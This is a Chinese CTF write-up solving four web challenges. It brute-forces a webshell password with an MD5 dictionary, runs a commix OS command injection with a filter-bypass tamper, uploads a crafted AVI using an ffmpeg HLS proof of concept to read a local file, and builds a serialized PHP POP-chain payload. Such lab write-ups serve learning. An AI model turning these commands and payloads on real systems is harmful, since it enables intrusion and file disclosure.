被加密的后门
进入环境一片寻找无果,直接扫描目录
扫到了www.zip
解压文件点进文本文档显示说留了一个后门密码不是明文
进入后门一片是空白怀疑是木马连接,找密码连接
之前扫目录的时候漏掉了一个界面phpinfo.php进入界面提示有个qq号因为是复盘比赛所以qq号时限过期了加了也没有提示信息
后面得知密码在a.txt界面
题目说密码不是明文说明这些密码不能直接输这时候想到可以加密成MD5
用py加密然后重新生成一个新的加密好的MD5的密码字典。
import hashlib
# 读取原始文本文档
with open('a.txt', 'r') as file:
lines = file.readlines()
# 创建一个新的文本文档来存储加密后的MD5值
with open('output.txt', 'w') as file:
for line in lines:
# 去除换行符
line = line.strip()
# 对每一行进行MD5加密
md5_hash = hashlib.md5(line.encode()).hexdigest()
# 将加密后的MD5值写入新的文本文档
file.write(md5_hash + '\n')
直接去网页上爆破密码,牛逼的大佬可以继续往下写py脚本爆破。但是由于自身实力不足只能拿bp爆破直接打开pb抓包
选择密码进行爆破
选择刚刚加密好的MD5字典
爆出密码是18c92bfa21a90caa5cdf41c00db3a891
查看根目录有个flaggg
直接cat /flaggg打开
spa&col
来到界面一番操作下无果直接目录扫描
扫到4个界面
经过测试只有http://57675849.clsadp.com/robots.txt能进去,进到界面看不出啥直接拿第一个去解码
工具解出base92解出英文单词Atbash Cipher 翻译中文意思是埃特巴什码
直接解码出现一个网址
/rc3m3.php
代码审计 具体来说就是拿code进行传参可以看到过滤了冒号、管道符、&、$这些符号无法远程执行代码读取
直接上工具GitHub - commixproject/commix: Automated All-in-One OS Command Injection Exploitation Tool.
打开终端直接输入
python commix.py --url="http://315dd7fb.clsadp.com/rc3m3.php" --data="code=127.0.0.1" --technique=f --web-root="/var/www/html/" --tamper="space2htab"
直接出flag
upload demo
进入环境有显示上传文件先上传一句话木马看看
只显示了一个视频界面没显示上传马的位置
看提示了FFmpeg此次漏洞利用了FFmpeg可以处理HLS播放列表的特性,而播放列表可以引用外部文件。通过在AVI文件中添加自定义的包含本地文件引用的HLS播放列表,可以触发该漏洞并在该文件播放过程中显示本地文件的内容。这时候想到可以做一个经过特殊处理的AVI文件上传上去看看
使用POC(https://github.com/neex/ffmpeg-avi-m3u-xbin)生成特殊的视频文件。
使用方法:python gen_xbin_avi.py file:var/www/flag_aaaa.txt passwd.avi
然后直接上传passwd.avi这个文件直接出flag
popop
进来直接看到代码直接看到第3行有个f.php进入路径看看
空白一片没反应,然后看到后面的f===class把f换成class看看
直接进入到另个界面反序列化
直接进行序列化
<?php
class s
{
public $f;
}
class T
{
public $f;
public $s;
}
class L
{
private $haha = 'mama';#haha要等于mama
}
$a=new s();
$b=new T();
$c=new L();
$a->f=$b; #s等于T
$b->f=$c;#T等于L
$b->s="Getflag"; #也是相当于在L的界面下进行操作
echo urlencode(serialize($a));#输出T界面的f和s的内容
#代码结果:O%3A1%3A%22s%22%3A1%3A%7Bs%3A1%3A%22f%22%3BO%3A1%3A%22T%22%3A2%3A%7Bs%3A1%3A%22f%22%3BO%3A1%3A%22L%22%3A1%3A%7Bs%3A7%3A%22%00L%00haha%22%3Bs%3A4%3A%22mama%22%3B%7Ds%3A1%3A%22s%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
然后回到第一个界面进行传参直接出flag